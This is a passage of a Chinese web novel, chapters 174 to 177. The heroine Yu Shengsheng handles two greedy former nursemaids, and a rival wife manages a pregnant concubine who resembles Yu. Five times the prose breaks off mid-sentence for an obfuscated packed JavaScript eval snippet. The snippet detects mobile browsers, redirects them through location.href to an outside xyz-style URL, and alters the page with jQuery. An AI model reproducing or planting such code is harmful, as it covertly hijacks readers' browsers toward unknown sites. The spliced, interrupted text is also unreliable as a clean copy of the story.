她可不是苦口婆心随便说说,更不会动之以情晓之以理。 但凡石芠不愿,或是让小厮帮忙打点偷溜出府,只要被徐心敏发现了,二话不说就上藤条。 她直接让身边那些粗壮的婆子将丈夫捆了个结实,扭送去石府家祠内,当着列祖列宗的牌位狠狠抽了他一顿。 一开始赵夫人还心疼不已,拼命要拦。 徐心敏正色道:“夫君乃石家后人,这般不上进,如何支撑门户?难道要父母一辈子替他遮风避雨么?我就是想让他当着列祖列宗的面好好反省,今日石家一切得来不易,万不能毁在他手上!否则日后无颜见他们!成了石家的千古罪人!” 这番话自然有夸张的成分在。 却听进了公爹的耳中。 石老爷立马制止了妻子,睁一只眼闭一只眼地纵容儿媳管束儿子。 背地里,他还对赵夫人苦口婆心:“你管不住儿子,叫他年纪轻轻惹了这么多麻烦事,如今好不容易来了个能管得住他的儿媳妇,你不烧高香就算了,难道还拦着?叫外人知晓了,是笑话你还是笑话咱们一家子?你别好赖不分啊!” 得了公爹的支持,徐心敏在府中可谓过得是顺风顺水。 就是名声不太好听罢了。 多多少少有闲言碎语传出,说她不够温柔不够贤惠,过于嚣张跋扈。 不过在徐大太太看来,小女儿只要能拿住丈夫,这日子能过得下去,她也懒得过问,横竖被藤条伺候家法的人不是她女儿。 因此,徐心敏这个性子再去瞧姐姐如今贤良淑德的模样,那是一阵接一阵的冷笑。 她没有跟随其他妇人一道夸赞艳羡,而是挪开视线看向了屋中另一人。 ——虞声笙与她一样,也没有跟着歌颂徐诗敏的贤惠。 今日虞声笙着一身春杏挑绣的比甲对袄,领口袖口是一簇簇雪白的兔毛,头戴芙蓉金玉的宝石蝶舞簪,腕子上一边各戴了一对翡翠玉镯;那翡翠清透至极,水头极好,一看就是上等好物。 这一套行头衬得虞声笙越发雍容,白净的脸上平静如湖,托着茶盏的姿势更是行云流水,一时间看得人挪不开眼。 徐心敏好一会儿才回过神,忙收回视线,暗道古怪:这虞四原也容貌不出众呀,为何能引得人瞩目? 屋子里起着地龙,又有暖笼熏着。 一旁青铜玉镶掐丝珐琅螭耳炉内袅袅青烟笼起,熏的是海棠如雪的香片,这也是京中如今时兴的。 女眷们有说有笑,又是品茶又是吃果子。 虞声笙觉得有些暖得闷人,便趁着众人不留意,悄悄躲去了屋外。 本来今日她也不想来的。 可张氏特地派人传话来,让她务必要过来一趟。 郑秋娥正休养身子,不便出门;张氏又放心不下儿媳和小孙子,自然也不愿赴宴;思来想去,只有嫁出门的虞声笙可以代表两府。 带着任务而来,虞声笙的心情自然没那么美妙。 镇国将军府的梅园乃一绝。 红梅胜火,腊梅芬芳,被这银光素裹的琉璃世界一衬托,越发明艳如霞。 她立在廊下嗅着沁人心脾的香气,才觉得略略舒坦了些。 却见不远处的梅树下立着一个人。 那人的眼睛撞上了虞声笙的视线,竟抓住机会走了过来。 “妾身允娘,见过这位贵人。”她娇滴滴道。 虞声笙面不改色:“原来是贵府的姨娘。” “正是,不知这位夫人怎么称呼?”允娘大胆地打量着眼前女子,只觉得她眉眼间与自己有几分相似。 “我们夫人是威武将军府的大奶奶。”金猫儿接过话茬,“这会子屋里是太太奶奶们正在待客,天寒地冻的,这位姨娘还是早些回去歇着,免得冻坏了身子。” 这话说得不着痕迹。 允姨娘如何不懂对方的意思。 她俏脸一僵,随后低头轻抚着微微隆起的小腹:“是少将军特地准许妾身过来赏梅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你输了。”徐诗敏洋洋得意。 压抑了多日的情绪,在见到她的一瞬间再也忍不住。 这般骄傲,若不让虞声笙知晓,就失了大半趣味。 四目相对,虞声笙唇畔荡漾开真诚直白的笑容:“恭喜。” 直到散席后,今瑶坐在马车里才开始愤愤不平:“夫人今日为何不跟那什么大奶奶说清楚,如今夫人与将军可好着呢,谁稀罕她家什么人,拿咱们夫人当什么了!!” 第174章春日浓浓倦意深 “小妮子好大的气性。”虞声笙哑然失笑。 “就是,夫人还未动怒,倒把你这个小丫头气得不轻,夫人您瞧她这小脸气的,跟什么样儿似的。”金猫儿掩口道。 “连你也取笑我!”今瑶羞红了脸。 “其实也不怪今瑶这般赌气,金猫儿你来我身边时日短,不晓得那会子是什么光景……她是心疼我呢,我都知晓。”虞声笙语气温和,宛若春日清泉,“只是事过境迁,犯不着与这样无关的人置气,日子是咱们自己过,何必为了她一个不值当的人惹得自己不快活?” “夫人说得极是。”金猫儿也跟着劝道,“咱们过得好不就成了,管她是什么大奶奶二奶奶的,横竖不与咱们相干。” “是呢,咱们过得好不好,也不必告知她,也省的那些个眼馋心热的生出什么坏主意来,反倒不美。”今瑶想开了,眉眼弯弯。 见她想开了,虞声笙嫣然一笑。 马车徐徐晃悠着回了府。 热闹了一整日,总算安静下来的镇国将军府也萦绕着淡淡的疲惫感。 徐诗敏装着贤良大度,转头就将今日允姨娘险些闯入园子里的事告诉了婆母。 她的话说得很好听:“母亲细想,那会子园子里多少太太奶奶、夫人小姐,个个都是高门府邸出身,若叫一个上不得台面的姨娘冒冒失失闯进来,说好听呢是婆母您大度温厚,许她一个半奴之身的妾室来园中赏梅;若说得不好听,一个管家失责的帽子就逃不掉。” 她边说边奉茶到跟前,口中越发温文尔雅。 “不是媳妇拈酸吃醋容不得人,您想想,若在儿媳自己屋中,那便随她怎么闹了,院门一关,外头谁还知晓?儿媳虽年轻,但也知道家丑不可外扬的道理;我进了门,便是慕家的人,自然要替父亲母亲,还有淮安思虑周全,咱们是一损俱损、一荣俱荣的一家子。” 最后一句话说进了慕大太太的心坎里。 望向儿媳的目光变得慈爱赞赏。 她颔首道:“难为你想得这样周到,安儿那个妾室确实越发不成样子!” 慕大太太料理起儿子房中的女人自然要比徐诗敏来得更雷厉风行。 她不必在意儿子的感受,更不必顾及允姨娘的颜面。 派了身边一个得力婆子过去传了句话,就说太太的意思,天寒地冻的,允姨娘又怀着身孕,实在不宜整日在外走动,便让她安心待在自己院中养胎。 慕淮安得知了母亲的安排,什么也没说。 徐诗敏面上淡淡的,心中却乐开了花。 原本这事儿就这么过去了,谁知那允姨娘也不知哪根筋不对,竟因这事期期艾艾了好多日,一天到晚以泪洗面,长期以往下去对腹中胎儿定然有影响。 徐诗敏立马禀明婆母,请来了府医。 府医一番把脉后,给了建议。 慕大太太瞧那允姨娘梨花带雨的模样,心中已经猜到几分,不着痕迹地冷笑过后,便让徐诗敏将自己院中的一处厢房收拾出来,腾给允姨娘住。 慕大太太是这样说的:“要是你一人便罢了,可你如今还有着身子,怎能这般?你身边的丫鬟也是不中用的,是怎么照顾自己主子的?不如搬去大奶奶院中,由她照看着,这样每日府医请脉也便宜些,有个什么情况她也能立马知晓。” “母亲说得对,一切都以子嗣为重。”徐诗敏欣喜不已。 人放在眼皮子底下,自然事无巨细都能了如指掌。 允姨娘一听,人都傻了。 这会子再想改主意也是来不及了。 眼睁睁瞧着自己身边的丫鬟挨了一顿打,又被换去了大半,自己又不得不从宽敞的独门独院搬去正房奶奶的院中。 徐诗敏在明面上可让人挑不出错来。 新布置的厢房干净敞亮,又特地开了库房寻了好些新奇古玩来哄允姨娘高兴。 布置得当那一日,她特地请了慕淮安来看。 “还是委屈妹妹了。”她颇有些歉意。 “这便足矣。”慕淮安揉了揉妻子的肩头,“难为你怀着身孕还替她操持,这是母亲的意思,如今她在你院中,你不但要顾好自己,也要顾好她。” 顿了顿,他又道,“你肚子里的孩子才是最要紧。” 徐诗敏抿唇一笑:“我知道了。” 这个年很快过完了。 又是一年万象更新的时候。 处处生机盎然。 一样的,威武将军府今年也与去年别无二致,一样要搞发展、促生产,赚钱赚人两手抓。 虞声笙很郑重地写下了新的一年的展望。 首当其冲第一条便是——希望早点怀上一个孩子。 正写得很专注,冷不丁头顶上传来闷闷的笑声。 她下意识地抬眼一看,撞上了男人那双漆黑如墨的眼睛——闻昊渊正笑意满满地看着她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16552937|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你干嘛?!”她一阵羞恼,忙展开双臂挡住。 “生孩子这种事你不该写在纸上,应该与为夫商议才对。” 她越发大窘:“我写写还不行吗?不准说,说出来就不灵了!!” “好好好,我不说。”他抿唇,却挡不住嘴角不断上扬的冲动。 虞声笙:…… 其实师父曾经跟她说过,她这一辈子子嗣方面会比一般人难一些,要到二十岁之后才会有好消息。 是以,十九岁成婚,成婚一年后刚好二十岁。 她只是想写下对未来美好的期许罢了。 把男人轰出门办公务,她才强忍羞涩将那张纸揉成一团丢掉。 哎,也不知道那个老家伙云游四海到什么地方去了…… 多年不见,她竟有些想念他。 正午忙完,正是春困最浓之时。 午饭虞声笙又添了好些,就着春日里新鲜得趣的野菜拌着,她比平时多吃了半碗。 这会子歪在榻上,满脑子浆糊,想的都是庄子上春耕的事情,以及来日府中要操持的一应庶务。 正想得昏昏欲睡时,却听外头有人在说话。 虞声笙细细听了一会儿,明白了。 这是郑邱两位妈妈托了人来传话,却被今日当值的今巧拦在了外头。 今巧比不得其他几个丫鬟能言善辩,但却是个主意极定的人。 虞声笙说了不见这两个婆子,她便牢记在心。 “我瞧你们是昏了头了,夫人的话也敢驳,仔细让夫人告诉了将军,回头有你们什么好果子吃?那两个是府里正经的婆子妈妈不成,夫人不想见,还得受她们逼迫威胁?” 今巧利落回应。 一婆子讨好赔笑道:“姑娘何必这么大的气性,我也就是这么一说罢了,你不通传便不通传好了,为难我这个老婆子干嘛呢?” “妈妈这话就不对了,园子是主子们说了算的,难不成由着你我的心思来办?夫人有言在先,若你连这话都记不住,还是趁早告老回乡吧,免得办错了差事,叫夫人罚你不好,不罚你也不好!” “欸欸……今巧姑娘,你这是——嗐!!” 外头终于安静下来。 虞声笙满意地合上眼皮,重又沉沉睡去。 对,还有这两个妈妈的事情没料理,该给她们一个什么位置比较好呢? 不如……一不做二不休,撵出去吧。 第175章当** 越是门第高的人家,越是有些讲究在其中。 小到人情往来,大到官场行走,一切都藏在耳濡目染的日常中,那些氏族门阀的府邸尤其如此。 虞声笙一开始也不知晓。 跟在张氏身边也闹过不少的笑话。 是以,她收敛起了原先在乡野的锋芒与獠牙,让自己变成了无害乖顺的模样,既然学不会琴棋书画,也不够那个出身,那总要赚一个温厚腼腆又心善柔软的好名声吧。 京中贵妇们互相较劲都是藏在一个眼神、一句言语当中,像虞声笙这样温婉玲珑又身世复杂、家道中落的千金小姐,用来衬托她们那出类拔萃的女儿再好不过。 当时的虞声笙很快就明白了这些太太奶奶们的意思。 每每与张氏赴宴,她总能做到让诸位长辈都满意。 也就追着慕淮安跑的那几年,那些个大家闺秀看她不起。 其实算起来,虞声笙的名声在老一辈的贵妇当中还是不错的。 对于乖巧腼腆的年轻女孩子,这些贵人们大多不会防备什么,也让虞声笙学到了更多暗藏的规矩。 就说伺候少爷小姐的奶母,其实身份就非同一般。 在阖府上下的管事奴仆中,也自成一派。 主子由奶母抚养长大,奶母就算是半个主子了。 若一味的拿乔心狠,苛待照顾自己的奶母,一样会被人说闲话。 除了奶母,那就是像郑邱二人这样将主子自小抚养大的妈妈了。 小的时候,虞声笙是自己摸爬滚打长大的。 后来到了几岁时,隐约察觉到不对。 这两个婆子平日里自诩是大户人家的奴仆,看谁都用眼角去打量,从不把庄子上的妇孺放在眼里。 说她们阔绰吧,日日好酒好菜不断。 便是荤腥也是常常能见的。 那邱妈妈好吃,尤其爱猪油拌饭。 那猪油要选上好的板油熬制,不知要费多少柴火人手,才能得一小坛子。 记忆里,虞声笙从未吃过那样香的猪油。 每每她馋得要命,邱妈妈总会板着脸说:“谁家千金小姐吃猪油的?荤得紧,要是吃胖了穿衣裳都不好看,太太若是瞧见了,定然会责怪我们的。” 虞声笙只能看着她又猪油拌饭,又用白糖蘸了猪油渣,吃得那叫一个满口喷香,而小小的虞声笙除了在一旁狂咽口水外,什么都不能做。 直到她遇见了那个老头,那个自称玉浮师父的老头,日子好像才渐渐过得明朗起来。 玉浮师父是她捡回来的。 他晕倒在一个深深的沟里,四周长满了荒草。 也不知是摔的,还是病了,反正样子很惨,摔得满脸是血,已经瞧不出原本的模样。 虞声笙守了一会儿。 她决定这人要是**,她就偷偷绕到沟渠下面,看看这人身上有没有值钱的东西。 足足等了一炷香,对于还是小朋友的虞声笙来说,这已经够久了,她单方面决定这**概是活不成了,便乐颠颠地绕了个大圈,跑到这人的身旁开始搜刮财物。 可惜,那时的玉浮师父除了两袖清风之外,一无所有。 虞声笙忙活了半天,什么也没找到,连半个铜板都没有。 刚要离去,又被这人拽住了手腕,动弹不得。 最后,满脸是血的玉浮师父被虞声笙安顿在废弃的猪圈里。 没错,猪圈。 因为郑邱二人实在是太懒了,原先猪圈里也有养猪的,但养了几年她们就觉得不耐烦了,日日都要割猪草来喂,实在是累得不行。 横竖还有虞府每旬送来的银钱,反正虞四姑娘还小,也吃不了多少,那就先紧着她们受用吧。 废弃的猪圈就便宜了玉浮。 在猪圈里一住就是十几日,虞声笙每日只给他两个馒头。 他身上的伤渐渐好了,也看清了日日来照顾自己的小丫头。 “你几岁了?”玉浮努力挤出一个温和的笑。 谁知虞声笙并不领情,冷冰冰地告诉他:“你吃了我二十八个馒头,预备拿什么来还?” 玉浮:…… 身无分文的玉浮师父只好勉为其难地收了这个徒弟。 他说了,二十八个馒头算是她的拜师礼。 毕竟要还,他也还不上。 云游四海的玉浮师父说自己是个得道高人,会的本事很多,他给虞声笙算了一卦,最终传了卜算看相之术给她。 虞声笙很清楚。 自己当初就是为了玉浮师父说了句,哪日你被人家虞府赶出来了,还可自己支个摊子,看相赚钱。 她觉得很有道理,便学了。 回忆如潮,耳边有人在叫她,虞声笙抬起沉重的眼皮看过去,眼前是金猫儿放大的脸。 “夫人,夫人……” “何事?”她声音沙哑,仿佛下一刻就能继续睡过去。 “那两位妈妈闹着要见夫人,我去问过了,她们是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557943|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要个差事,刚巧今日绣娘入府,我便让她们俩去了绣房理绣线料子等物,还请夫人示下,不知这样安排可好?” 去绣房打杂么? 在屋子里待着,免了风吹日晒,也没什么粗重活计,算得上很照顾了。 金猫儿还是很心软的嘛。 虞声笙打了个哈欠坐了起来:“那先这么着吧,不过你一片好心,我怕是这两人不会领情。” 金猫儿好奇地看过来。 “我自小跟她们打交道,太明白这二人骨子里的自私贪婪,见不到我她们是不会罢休的。” “那……月例银子怎么算?”金猫儿问了个最关键的问题。 “给绣娘们的是多少?” “领头的绣娘一个月五两银子,底下小绣娘们一个月二两。” 这工钱给的不低。 因为绣娘们也并非四季都在府上,她们也是凭着绣功吃饭的,有些绣坊里的巧手绣娘可忙得很,忙完了这边府上的活计,就要马不停蹄赶往下一家。 今日威武将军府里的这些绣娘,都是虞声笙去年秋天就定下的。 赶早不赶晚的,迟了就没有了。 府里一应贵重料子都要给领头的绣娘做纹样,也是个细致活,轻易马虎不得。 “她们俩手粗人笨,再勾坏了我的料子,就让她们打理绣线,给那些个绣娘们打打杂,端茶送水的便好了,一样也给二两的月例。” “是。” 得了吩咐的金猫儿一打门帘子便出去了。 很快,郑邱二人便被领到了绣纺阁。 这里是威武将军府安置绣娘们的院子。 前头敞亮的堂屋用来做工,后头一排新修缮的厢房是给绣娘们休息安置所用。 那领头的绣娘见惯了高门大户,见到这般安排也不得暗暗道了个可,面上越发恭顺。 郑邱二人一听说自己得了这么个差事,双双脸色阴沉。 “姑娘,你该不会没跟夫人说清楚吧?”郑妈妈忙道,“我们二人竟一个管事都捞不到?” 这未免太离谱了些。 邱妈妈没什么上进心,要不要管事的位置其实也没差。 但要是郑妈妈得了个管事,她觉着自己的日子也能水涨船高,便坚定地与对方站在一起。 金猫儿笑道:“这是夫人的意思,再说了绣纺阁里的活计可要紧得很,事关一年下来府中主子们衣裳布料所用,若不是放心二位妈妈,夫人也不会让你们来这儿呀。” 第176章有缘再见 金猫儿笑得亲和,这话也挑不出错处来。 一时间郑妈妈无言以对。 转念一想,自己初来乍到的,还是先把领到的差事做做好再说,等做出一番成绩来了,再去那虞四跟前邀功。 到时候凭着自小照顾她的情分,郑妈妈觉着自己怎么着也能捞到个体面的管事婆子当当。 想到这儿,郑妈妈便也没说什么。 绣纺阁的杂事并不多,但却细碎。 什么事儿都面面俱到,半点不容疏忽。 尤其那绣线,用不同颜色区分,不同料子所制成的绣线还要放在不同的匣子中,以做分类,拿取的时候更便宜。 郑邱二人才当值不到十日,就被领头绣娘告到了虞声笙处。 那绣娘生得白净秀美,尤其一双纤纤素手,宛若葱根似的,光是看着都能让人生出怜爱之心。 虞声笙瞅一眼都有些挪不开视线。 这手也太好看了。 比起自己的,人家那才是仙女呢。 不过也是,顶尖绣娘的那双手就是要这般细嫩,否则如何伺候那些更为名贵细软的丝绸料子?略微勾了一点,便满盘皆输,绣娘们才不会犯这样低级的错误。 绣娘温温道:“夫人所托,民女自当尽力,只是夫人派来的那两位妈妈实在是手粗,那般精细的绣线叫她们弄得是乱七八糟……若一直如此,怕是会耽误了夫人所定的日子,反倒不美;是以,民女斗胆与夫人实话实说,还望夫人海涵。” “瞧你说的,是我要多谢你才是,若不是你来说,我哪晓得其中这么多门路;今日你与我说了,我便来办,你尽管放心便是。” 虞声笙不急不缓。 见当家主母这么好说话,绣娘欢喜离去。 她前脚刚走,虞声笙就叫来了郑邱二人。 此时,距离她们进府也过了好些时日,她们住着单独的厢房,日日都有小丫鬟送了现成的饭菜来,这样的日子着实有些美滋滋。 再加上绣纺阁的活计轻松,这二人又懈怠。 真是再没有比这更快活的去处了。 乍一听闻虞声笙要见她们,郑妈妈居然还有些不快。 “这小妮子翅膀硬了,离了咱们这么久,就眼里越发没个人了,咱们入府到今日才想起见咱们!走,去瞧瞧这虞四有什么话说。”郑妈妈压低声音,与邱妈妈毫不客气地嘀咕着。 邱妈妈就没那么大的胆子了。 她缩了缩脖子,跟在郑妈妈身后。 二人一前一后进了安园。 这还是她们头一回进入内院。 见到安园里处处精致,长廊、草木,所见之处都与自己过往所经历的,大不相同;她们不免流露出贪婪羡慕的神色,只觉得眼睛都不够瞧了。 前头领路的碧桃看在眼里,心中冷笑。 到了堂屋跟前,碧桃一打帘子,高声传话:“夫人,郑妈妈邱妈妈到了。” 二人正看得入神,冷不丁被吓了一跳。 郑妈妈瞪了一眼:“小胖子,嗓子倒不小。” 碧桃不甘示弱,立马瞪回去,还浅浅地哼了一声:“要你管。” “欸,你这丫头……” 脚下一软,郑妈妈只觉得一股子暖意扑面而来,却不过分憋闷,屋子里萦绕着清冽淡雅的花香,放眼望去,地上铺着金红的地毯,头顶是五福临门的雕花,那香案上摆着的尽是自己不曾见过的珍玩。 光是这一眼,就仿佛看尽了这辈子迄今为止所有的富贵。 郑妈妈不由得暗暗咋舌。 这威武将军府确实要比虞府殷实太多了呀! 绕过双面刺绣而成的屏风,她们见到了盘腿坐在榻上的虞声笙。 虞声笙着一身烟柳翠绿的锦缎小袄,几乎未施粉黛,只在如云的发髻间戴了一支羊脂白玉的珍珠簪子。 那簪子的一头是六颗圆润细腻的珍珠围成的一朵芙蓉花。 与那乌黑的青丝形成鲜明对比。 叫人望见,只觉得清丽脱俗,典雅端方。 “妈妈们来了。”虞声笙放下了手里的账簿,“妈妈请坐。” 金猫儿与今瑶各自端了一方小杌子过去,让郑邱二人坐下。 “多年不见,妈妈们身子可好?” 不等郑邱二人回话,虞声笙又自顾自笑道,“瞧着应当是不错的,能从乡下那地方这么远地赶来,又能摸到我如今的府邸,若没点硬朗的身子骨撑着,又怎能成事呢?” 郑妈妈听着觉得不对,忙道:“姑娘关怀,老奴自当明白,只是多年不见了,老奴心中也挂念着姑娘,有道是缘分未尽,自有相见的一日,这不就来了么。” “也是。” 虞声笙捧着手炉,笑眯眯问,“我心疼二位妈妈辛苦,给你们安排了轻松的活计,却不想是我疏忽,忘了妈妈却是劳作辛苦的粗人,本就做不来细致的事情,那绣纺阁的活计怕是不满二位的意吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557944|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话一出,郑妈妈就像是找到了突破口。 她忙不迭地告状:“姑娘说得极是,不就是针线刺绣么,女人家的谁还不会点女红呢?这绣坊娘子偏偏较真,什么绣线该放在哪一处,真是处处都不满她的意,闹得我们二人头大得紧,若不是看在姑娘的份上,早就要与她争辩两句了。” “妈妈的意思我懂得。”虞声笙莞尔,“既如此,绣纺阁的活计妈妈们是不愿做了?” 邱妈妈刚想张口,被郑妈妈一把扯住。 郑妈妈忙道:“还请姑娘另寻了旁的伙计给咱们吧,咱们从前也不是没管过事,手底下管着三五人还是绰绰有余的。” “这样啊……” 虞声笙叹道,“我这儿过门其实也没两年,有些庶务也是刚刚上手,这样好了,不如两位先回去等一等,等我这边有更合适的活计了,再安排给你们俩。” 郑妈妈:“不必那么麻烦,老奴瞧着姑娘院中还缺几个老人家,须得几位老妈妈才能压得住底下这些丫鬟。” “巧了,我院中已有芳妈妈、白妈妈和萱妈妈,如今是不用添人了。” 郑妈妈一愣,面上顿时讪讪。 “这三位妈妈,要么是府里原有的老人,要么是太太所给,且又都是心灵手巧、温厚朴实的人。” “是、是这样啊……”郑妈妈说不出话来。 又是一番寒暄。 郑妈妈努力说着过往种种,希望能引起这位虞四姑娘对童年的回忆,也好打打感情牌。 谁知,她说了一箩筐,最后虞声笙百无聊赖地把玩着手中那一串鲜红欲滴的珊瑚手串,淡淡地来了句:“我只记得小时候吃不饱饭,穿不暖衣,还要漫山遍野地寻野菜果腹,我最喜欢夏天了,因为夏天可以下河摸鱼,多少也算能添点荤腥。” 郑邱二人的脸色更难看了。 “邱妈妈。”虞声笙的眸光转过去。 “姑娘……” “邱妈妈如今还吃猪油拌饭么?” 邱妈妈越发尴尬窘促,更是不安。 恨不得立时三刻跪在地上,求虞声笙饶恕。 她硬生生忍住了,扯了扯嘴角,笑得干巴巴:“不、不吃了……” “为何不吃了呢?” “猪油太贵。” “噢……”虞声笙意味深长地看了一眼。 待二人离开安园,郑妈妈迫不及待骂道:“你昏了头了?在她面前说什么猪油太贵!” 第177章滚 邱妈妈这会子也叫苦不迭,后悔也来不及了。 她本就脑子不够用,旁人问什么便答什么。 更不要说方才开口问的还是虞声笙,是长大成人且成家管事的虞声笙,并非多年前那个懵懂无知的小女孩。 “你、你不也没提醒我么,我哪里知道……”邱妈妈还委屈上了。 郑妈妈被气得一阵语塞。 原先觉着她愚笨不堪好拿捏,有什么好的都紧着自己先用,等邱妈妈再用时,人家也不生气,主打一个听话顺从。 没想到这样一个懦弱无能的人,到了虞声笙跟前却成了最大的破绽。 郑妈妈沉着脸:“罢了,先回去吧,横竖咱们俩还占着教养妈妈的位置,谅她也不敢真拿咱们怎么样。” 真要撵她们出府,大不了她就闹一场。 虞声笙手里没有她们二人的身契,也拿她没办法。 到时候就算无法留在府里,她也要狠狠敲一笔竹杠。 望着富贵如此的将军府,郑妈妈不免有些浮想联翩——能要个几百两银子,后半辈子就不愁了,这点子银钱对将军府来说也不算什么吧。 免了绣纺阁的差事后,二人一开始十足歇了好几日,直到邱妈妈敏锐地察觉到送来的饭菜开始懈怠,二人才觉得有些慌张。 过了上元佳节,闻昊渊重又投入繁重的公务中。 虽不是战时,但总有各种零碎的事情离不开他。 什么大营操练,巡防回营,就连军队中的纲纪重振也得他亲自到场,更不要说日常熟悉军营里的各项运转,也须将领了然于心,可不是简单会领兵打仗这么简单的。 原先虞声笙还以为他闲得很。 后来见他夜夜都带着大堆文卷在书房挑灯忙碌,她不由得暗暗心惊——果真当官不容易,哪怕是刀口舔血的武将也一样,还得文武双全啊。 她拍着丈夫的肩头,尽力宽慰:“放心,你如今与我成婚了,你旺我,我也旺你,咱们俩夫妻一体。” 闻昊渊被宽慰得一头雾水,哭笑不得。 “什么意思?” “意思就是,男主外女主内,若你不成了,也可以女主外男主内,放心我饿不死你。”她拍着胸口,一副豪言壮语的模样。 男人忍俊不禁,抬手将她捞进怀里,就是一阵揉搓。 虞声笙虽厉害,但论拳脚体力又哪里是他的对手。 一番挣扎无果,她也只能认命。 进书房的时候她是端庄文雅的正房夫人,出来的时候,云鬓散乱,唇上的口脂都糊了一半,双颊如霞,娇粉一片,她走下台阶想起什么似的,回头狠狠瞪了眼,踩着凶巴巴的步子回了安园。 春日来临,桃花杏花遍地绽放,粉色如海,飘飘零零。 在春光浓烈的日子里,虞声笙也忙得脚不沾地。 各种宴会要出席,各种人情往来要走动,光是备礼就有了一张长长的单子。 去年这个时候,她忙于这些庶务时,还觉得甚是棘手。 到了今年,她已经能随意瞄一眼,就确定对方的来意,以及如何应对,如何还礼,堪称滴水不漏。 与威武将军府素来有交情的门第见了虞声笙的还礼,也都暗自惊叹。 “这虞府的姑娘倒是长进惊人。” “才堪堪一年罢了,瞧她还礼这般周到,比我那娇养的女儿还要有眼力劲……” “谁说不是呢,真是人不可貌相。” 有了这些铺垫,当虞声笙再出席那些宴饮场合时,那些太太奶奶以及闺阁千金对她的态度截然不同。 一日杏花宴上,郭文惜凑在她身边小声嘀咕:“我可听说了,如今京中多少贵人都以你为榜样呢,我娘也说,让我多跟你学学待人接物。” 跟虞声笙学,郭文惜再无不愿的。 她与她咬着耳朵,言辞间都是敬佩快活,好像得了这些夸奖的人不是虞声笙,而是她自己。 明白郭文惜心思单纯,虞声笙笑道:“其实你比我强得多,这些门道不过是我犯错多了,自己总结出来的罢了。” “我娘说我……就晓得犯错,全然不知反省。”郭文惜耷拉着脑袋。 虞声笙哑然失笑。 最近大学士府正与京中另一户高门议亲。 说的就是郭文惜的婚事。 此事还是白夫人从中牵线搭桥,又由虞声笙出面相邀,过了上元节,两府的太太刚刚会面,彼此都很满意。 这一次郭大太太打定主意,要好好相看,多方面观察,绝不能出现上一回的失误。 虞声笙与郭文惜独占一角的阳光,头顶便是绚烂温柔的杏花,阵阵风起,如雪般吹落。 虞声笙眯起眼眸抬眼看着,慵懒地像只随时都会打哈欠的猫。 人群中传来窃窃私语。 “听说了么,过了年宫中就传来好消息,说是叶贵妃有孕了。” “真的?那宫中的情形可又要变了。” “叶贵妃到底圣眷浓厚,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562366|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是旁人能比的。” “若贵妃娘娘这一胎还是个小皇子,那就好了。” 虞声笙将这些话尽收耳底,微微蹙眉。 叶贵妃又怀孕了? 明明上一次卦象上说的并不是这样,难不成这一次有孕又有蹊跷?原先养在皇后膝前的小皇子又该怎么办? 一时间,一连串的念头乍起,充斥着她的脑海。 “声笙,声笙……”郭文惜喊她的名字,才让她恍然大悟。 一抬眼,刚巧见不远处是徐诗敏来了。 徐诗敏不是一个人来的,身边还跟着允姨娘。 妻妾二人穿着华贵逼人,尤其那允姨娘,一颦一笑,越发与虞声笙相似,在场众人都看得明白。 郭文惜惊呆了:“这、这人……” 虞声笙淡淡扫了一眼:“大约是镇国将军府的妾室吧。” “她怎么和你……和你那么像?”郭文惜压低声音,满是愤怒。 “谁知道呢。” 徐诗敏笑眯眯地领着自家姨娘在众人间穿梭。 当有人问起时,她便大大方方介绍说这是她房里的允姨娘。 二人一前一后有孕,更显得妻妾和睦。 有贵妇暧昧不明地笑道:“还得是镇国将军府呀,这般和气一团,当真是京中妇人的表率。” 